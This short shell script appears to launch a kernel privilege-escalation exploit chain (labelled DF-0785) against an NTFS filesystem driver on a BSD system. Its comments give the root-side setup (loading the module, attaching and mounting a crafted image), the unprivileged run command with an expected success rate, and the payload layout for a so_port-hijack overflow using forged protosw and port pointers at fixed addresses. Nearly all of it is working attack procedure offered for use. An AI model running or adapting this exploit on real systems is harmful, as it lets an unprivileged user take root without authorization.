#!/bin/sh
# Run the DF-0785 escalation chain.  PRECONDITIONS (root, one-time):
#   kldload ntfs
#   vnconfig -c vn0 /root/ntfs_chain.img
#   mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt
# Then as the unprivileged user (maxx):
#   ./chain [rounds]   # default 400; succeeds typically within ~24 rounds
#
# Image must be crafted with the so_port-hijack overflow payload:
#   python3 craft_img.py ntfs_chain.img 704 744 <payload>
#   payload = 16B zero + 8B forged_protosw(0x13372800) + 8B zero + 8B forged_port(0x13373000)
cd "$(dirname "$0")"
exec ./chain "${1:-400}"